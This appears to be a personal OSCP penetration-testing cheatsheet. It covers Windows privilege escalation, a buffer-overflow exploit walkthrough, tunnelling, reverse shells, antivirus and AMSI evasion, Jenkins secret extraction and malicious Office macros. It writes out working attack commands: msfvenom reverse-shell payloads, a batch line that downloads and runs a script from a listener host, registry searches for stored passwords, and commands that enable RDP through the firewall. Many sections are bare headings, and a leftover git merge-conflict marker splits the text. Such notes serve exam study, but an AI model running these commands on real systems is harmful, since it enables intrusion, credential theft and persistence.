    1. sc.exe stop dns

    2. sc.exe start dns

    3. Scheduled Tasks

      • schtasks -- you may see a scheduled task that either lost its binary or using a binary you can modify.

    4. Saved credentials -- cmdkey /list will saved credentials

      • If you see any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below. runas /savecred /user:admin reverse_shell.exe

    5. Registry keys -- Registry keys potentially containing passwords can be queried using the commands below.

    6. reg query HKLM /f password /t REG_SZ /s

    7. reg query HKCU /f password /t REG_SZ /s

    8. Unattend files -- potential users passwords are stored in base64. C:\Windows\Panther\Unattend\Unattended.xml

    9. AlwaysInstallElevated -- to work requirements must be enabled.

      1. reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer -- must be on

      2. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer -- must be on

      3. msfvenom -p windows/x64/shell_reverse_tcpLHOST=ATTACKING_10.10.10.223 LPORT=LOCAL_PORT -f msi -o malicious.msi -- generate msi

      4. create listener on attacking machine

      5. msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi -- install

DLL Hijacking

  • to find potential DLL hijacking vulnerabilities is Process Monitor (ProcMon). As ProcMon will require administrative privileges to work, this is not a vulnerability you can uncover on the target system.

  • look for NAME NOT FOUND; this means that its trying to call the dll but cannot find it, thus allowing the attacker to create a malicious dll and place it in the path where its trying to call it.

  • to create a malicious dll save as c. mingw compiler can be used to generate the DLL. x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll. transfer the file to the windows machine.

  • apt install gcc-mingw-w64-x86-64 to install on linux

  • restart the dllsvc service sc stop dllsvc & sc start dllsvc

unquoated service paths vulnerability

  • wmic service get name,displayname,pathname,startmode - this will list services running or sc query state= all

  • sc qc unquotedsvc - this will further check the binary path of this service

  • .\accesschk64.exe /accepteula -uwdq "C:\Program Files\" -- this will check our privileges on folders inthe path. the goal is to find a folder that is writable.

  • sc start unquotedsvc - to start the service use cmd

  • if CanRestart is True -- create malicous reverse shell executable with msfvenom and replace the service executable with the malicous one.

enumerating server manager (remote desktop)

  • Navigate to the tools tab and select the Active Directory Users and Computers -- This will pull up a list of all users on the domain as well as some other useful tabs to use such as groups and computers

Token Impersonation

whoami /all look for privileges to abuse. most commonly abused privileges https://steflan-security.com/linux-privilege-escalation-token-impersonation/

https://jlajara.gitlab.io/Potatoes_Windows_Privesc

  • SeImpersonatePrivilege OR SeAssignPrimaryToken

    1. load incognito in meterpreter

    2. list_tokens -g -- this will show tokens available for impersonation

    3. Invoke-TokenManipulation.ps1 -- powershell version to sho tokens available for impersation

      1. import-module .\Invoke-TokenManipulation.ps1

      2. .\Invoke-TokenManipulation -Enumerate

      3. .\Invoke-TokenManipulation -ImpersonateUser -Username "something\administrator"

      4. .\Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"

    4. impersonate_token "BUILTIN\Administrators -- use this command Note: "BUILTIN\Administrators" is an example token

    5. For Windows Server 2016 and Windows Server 2019

      1. upload printspoofer.exe to target

      2. PrintSpoofer.exe -i -c cmd

    6. migrate PID to services.exe to ensure yourself with correct permissions

    7. JuicyPotato.exe -- download to target.

      1. download Invoke-PowerShellTcp.ps1 to target and add Invoke-PowerShellTcp -Reverse -IPAddress listeneraddress -Port portnumber to the end of the file

      2. create execute.bat with contents PowerShell "IEX(New-Object Net.WebClient).downloadString('http://listeneraddress/Invoke-PowerShellTcp.ps1')" and download to target

      3. run .\JuicyPotato.exe -t * -p execute.bat -l portnumber

      4. setup nc listener with portnumber

  • SeAssignPrimaryPrivilege

  • SeTcbPrivilege

  • SeBackupPrivilege

    1. diskshadow /s cmd

  • SeRestorePrivilege

  • SeCreateTokenPrivilege

  • SeLoadDriverPrivilege

  • SeTakeOwnershipPrivilege

  • SeDebugPrivilege

  • Is Mozilla Firefox installed? if so dump credentials. you will need to transfer these to your attacker machine and use python script to decrypt.

    • C:\Users\alice\APPDATA\Roaming\Mozilla\Firefox\Profiles\ example path to a users credentials

    • https://github.com/unode/firefox_decrypt

  • Invoke-RunasCS -Username USERNAME -Password PASSWORD -Command "whoami" -- found credentials? upload and run script.

  • Enable rdp and allow through firewall

    1. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

    2. netsh advfirewall firewall set rule group="administrators" new enable=Yes

    3. for older systems netsh firewall set service type = remotedesktop mode = enable

Random Software

Custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK.

https://attack.mitre.org/software/

Windows Buffer OverFlow

Mona Setup

Set the Mona Configuration !mona config -set workingfolder c:\mona\%p

Fuzzing

Try later https://github.com/AceSineX/BOF-fuzzer-python-3-All-in

Run a fuzzer and it will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.

Create another py file.

Generating a Cyclic Pattern

Run /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l length to generate a cyclic pattern of a length 400 bytes longer than the string that crashed the server (change the -l value to this)

Copy the output and place it into a payload variable of the exploit script. On Windows, in Immunity Debugger, restart the vulnerable app and run the exploit.

Finding MSP Distance

On Immunity debugger run !mona findmsp -distance length. the length is the current payload length.

Controlling EIP

Mona should display a log window with the output of the command. If not, click the "Window" menu and then "Log data" to view it (choose "CPU" to switch back to the standard view). In this output you should see a line which states: EIP contains normal pattern : ... (offset XXXX). Update your exploit script and set the OFFSET variable to this value.

Set the payload variable to an empty string again and set the retn variable to "BBBB". restart vulnerable app and rereun exploit. EIP register should now be overwritten with the 4 B's (e.g. 42424242).

Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00) by default. !mona bytearray -b "\x00"

Generate a string of bad chars from \x01 to \xff and update your exploit's payload variable with the bytearray.

Restart the vulnerable app in Immunity and run the modified exploit script. Make a note of the address to which the ESP register points and use it in the following mona command !mona compare -f C:\mona\oscp\bytearray.bin -a <address>

The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file. Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string. The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00. Then update the payload variable in your exploit.py script and remove the new badchars as well. Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns "Unmodified". This indicates that no more badchars exist.

Finding JMP ESP

!mona jmp -r esp -cpb "\x00" to Find a Jump Point. This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. Choose an address and update your exploit script, set the "retn" variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.

Generating ShellCode

Run msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c to generate payload. use -b option with all the badchars you identified including \x00. update the payload variable with the payload.

Prepending NOPs

Prepend NOPs. Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes. padding = "\x90" * 16

Win

Restart vulnerable app and exploit

Useful Commands

Find any file with the word "filename" in it

Scramble wordlists with john

Crunch to make wordlists

One of many ways of a spawning Python shell

Execute netcat revershell using PHP

Tunnels

Chisel

Step 1

Fire up chisel server on kali.

Step 2

Fire up chisel client on compromised machine.

Sshuttle

You can chain these to go deeper into networks.

Simple SSH

SSH dynamic port forwarding and proxy chains

Step 1

Step 2

Set proxychains conf to match ProxyChainsPort (see above) if not done already.

Step 3

Plink

Reverse shells

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Bash

Reverse powershell using kali terminal

Reverse Powershell using windows command shell

CMD Runas

Powercat

Invoke-PowerShellTcp.ps1

Invoke-RunasCS

Step 1

Upload reversePowershell and Invoke-RunasCS script

Step 2

Execute powershell using Invoke-RunasCS

Socat Powershell

Socat Bash

ASP CMD

Perl

OpenSSL

Step 1

Step 2

Step 3

Maintaining Access

Via Windows Task

PowerShell

PTY Shells

Linux

Ctrl + Z [Background Process]

Windows

https://github.com/antonioCoco/ConPtyShell

Creating Wordlists

Common username formats

first.last firstinitiallast lastnamefirstinital firstname

Examples

marcela.sauceda msauceda saucedam marcela

Hash Formats

  • If hash starts with aad3b -- probably NT hash

  • If hash does not start with aad3b -- probably LM hash

  • $krb5asrep$23. hashcat -m 18200 hashes.txt -d 2 -a 0 /usr/share/wordlists/rockyou.txt

  • $krb5tgs$23. hashcat -m 13100 hashes.txt -d 2 -a 0 /usr/share/wordlists/rockyou.txt

  • hashcat --example-hashes

File Transfer

Download File Powershell 2.0

Download File Powershell 3.0

Download File Powershell

Download String Powershell

Wget

Base64

On attacking machine encode the file and copy the output string

Lastly, on the victim machine decode the string

Certutil

Vbscript

Running the script

Python2 HTTP server

Python2 FTP server

Python2 SMB server

Antivirus Evasion

Check If Windows Defender is Running

Or With PowerShell

Prometheus

Amsi bypass

https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/

Downgrade to powershell version 2 first

Enter below and rerun blocked PS script

Powershell In-Memory Injection

Step 1

Create meterpreter payload

Step 2

Insert shellcode in the $sc= variable

Step 3

Change Execution Policy on current user

Step 4

Start meterpreter listener

Easy Wins

IIS ASP 'web.config' shells

https://gist.github.com/gazcbm/ea7206fbbad83f62080e0bbbeda77d9c

Malware Analysis

use Detect It Easy to detect source language (already installed on your kali)

ghidra

Decrypt VNC PASSWORD

Building Jenkins Job

click on Configure > Build Triggers > Trigger builds remotely and enter an authentication token of your choice, for example test . Now click on Build > Add build step > Execute a windows batch command and enter whoami

Now on the top right click on user icon and navigate to Configure.

Click on Add new Token and enter the token that we created earlier. Click on generate and copy the generated token. Using this token we can trigger the earlier configured job.

Triggering the build job

If your unable to obtain reverse shell attempt to read the credentials.xml file, in case any credentials have been added to Jenkins. It's plausible that the master server will hold SSH keys, AWS secrets, and user credentials among other sensitive files. We can see the Jenkins path from the earlier build result.

Finding The Jenkins Users

Attempting to view admin credentials

Retrieving master.key and hudson.util.Secret from secrets folder

Decrypting the secret using https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py

OffSec YT | Walkthroughs

  • Methodology Tips

    • https://youtu.be/XQnkiuIFZ-c?t=3940

    • https://youtu.be/4ls30YSlfAM?t=5064

    • Methodology for information gathering and prioritizing attack vectors and surfaces. https://youtu.be/kSmiFJipiZw?t=1727 28:47 - 1:11:55

Exam Tip / PWK Lab: Connecting the dots

https://youtu.be/UzR1dH810aM?t=1685

28:07 - 29:12

Exam Tip / PWK Lab: Login Page

https://www.youtube.com/watch?v=UzR1dH810aM&t=4748s 01:19:08 - 01:20:50

Exam Tip / PWK Lab : Searching for exploit at dead-end (login/fuzzing). We don’t always have to brute-force login pages.

https://youtu.be/UzR1dH810aM?t=4874

01:21:14 - 1:30:07

Exam Tip / PWK Lab: Fuzzing

https://youtu.be/UzR1dH810aM?t=4190

1:09:50 - 1:10:32

Exam Tip / PWK Lab: Offsec's silly tip brute force rule of thumb https://youtu.be/270ZD17aA1Y?t=3300 55:00 - 57:40

Exam Hack: Permitted automated SQLi

https://youtu.be/c2OFrDVb3EM?t=2558 42:39 - 50:18

Exam Tip: Hack the Metasploit https://youtu.be/Bkp3n___dko?t=3018 50:18 - 1:11:42

Fuzzing Tip: Fuzz Parameters

https://youtu.be/XQnkiuIFZ-c?t=2848 47:28 - 52:50

Most underrated Vuln / SSRF / Maybe Out-of-Scope+Overkill for exam prep / Good thing to watch

https://youtu.be/Y14yjigX9I8?t=2910 48:30 - 1:04:08

Burp Suite Tip

https://youtu.be/UzR1dH810aM?t=3733

01:02:13 - 1:06:16

Siddicky’s Recommended Cheatsheet

https://youtu.be/UzR1dH810aM?t=6913 01:55:13 - 01:55:30 https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html

Fuzzing Tip: burp parameter discovery

https://youtu.be/x6BSeahgfgY?t=3316 55:16 - 58:30

Port Knocking Concept

https://youtu.be/270ZD17aA1Y?t=3926 01:05:26 - 01:10:54 https://sirensecurity.io/blog/port-knocking/

Fuzzing Tip: Found Nothing with Fuzzing

https://youtu.be/GBSWd_2fw3s?t=2110 35:10 - 36:20

Restricted shell bypass https://youtu.be/c2OFrDVb3EM?t=3254 54:14 - 57:04

S1REN’s PrivEsc Cheatsheet Inpiration: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Most used wordlists

To Be Categorized

Malicious HTA

Internet Explorer Client Side Attack

Url File Attacks

capture hashes social engineering client side attack

Create a file called '"@something.url"'

Malicous Macro Microsoft Word Doc

Create malicious payload

open microsoft word, create a new macro called "mymacro" in the current document

attack scenario #1 via upload ftp or smb

attack scenario #2 via self hosted webserver

Working with json files JQ

Parse for users

Or

Parse for groups

Alternate DATA Stream

auto runs

copy autoruns or autoruns64 to compromised machine use accesschk to

startup escalations

Passback attacks

Extract/open .img file

binwalk -e <.img FILE>

Git repos enumeration

Phpmyadmin

test for default creds

Wordpress

scan for every page not just the landing page

Journalctl

journalctl uses the default pager and most likely uses less and while using sudo can gain root privleges.

Boot2Root Docker

Default credentials are docker:tcuser

Get Windows Environment Variables

Windows Enumeration Using Registry Queries

Printers

computer name

Crack Password Protected Certificates

<<<<<<< HEAD

Using Sliver C2

Start Listener

Generate Beacon

List Beacons

Use Beacon

List Sessions

Use Session

=======

6912adbe47a973e22839842f37be3ab4655a044d

Managing BitLocker Volumes on Linux

BitLocker provides full volume encryption on Windows using TPM-stored AES keys. Linux, however, uses LUKS for encryption, which does not rely on TPM and encrypts the entire drive. To manage BitLocker volumes on Linux, ensure you have the right tools and follow these steps.

Prerequisites

Ensure you have the following packages installed depending on your Linux distribution:

  • For RHEL or Fedora:

    • qemu-img

    • cryptsetup (version 2.3 or higher)

    • ntfs-3g-devel (optional, only needed for unclean NTFS volumes)

  • For Debian:

    • qemu-utils

    • cryptsetup (version 2.3 or higher)

    • ntfs-3g-dev (optional, only needed for unclean NTFS volumes)

Steps

1. Load the NBD Module

Begin by loading the necessary kernel module:

2. Mount the VHD/VHDX File

Mount your virtual hard disk file using the following command:

If you are working with multiple VHD files, increment the device node appropriately (e.g., /dev/nbd1, /dev/nbd2, etc.).

3. Identify the BitLocker Encrypted Partition

Determine which partition is encrypted with BitLocker:

Look for specific partition sizes to identify the BitLocker encrypted partition, typically /dev/nbd0p2 for the second partition.

4. Open the BitLocker Partition

Use Cryptsetup to open the encrypted partition:

5. Mount the File System

Create a mount point and mount the decrypted partition:

6. Fix NTFS Issues (if needed)

If there are NTFS related issues, you can fix them before mounting:

7. Unmount and Close

Finally, unmount the drive and close the BitLocker partition:

PreviousPassword Mutations

Last updated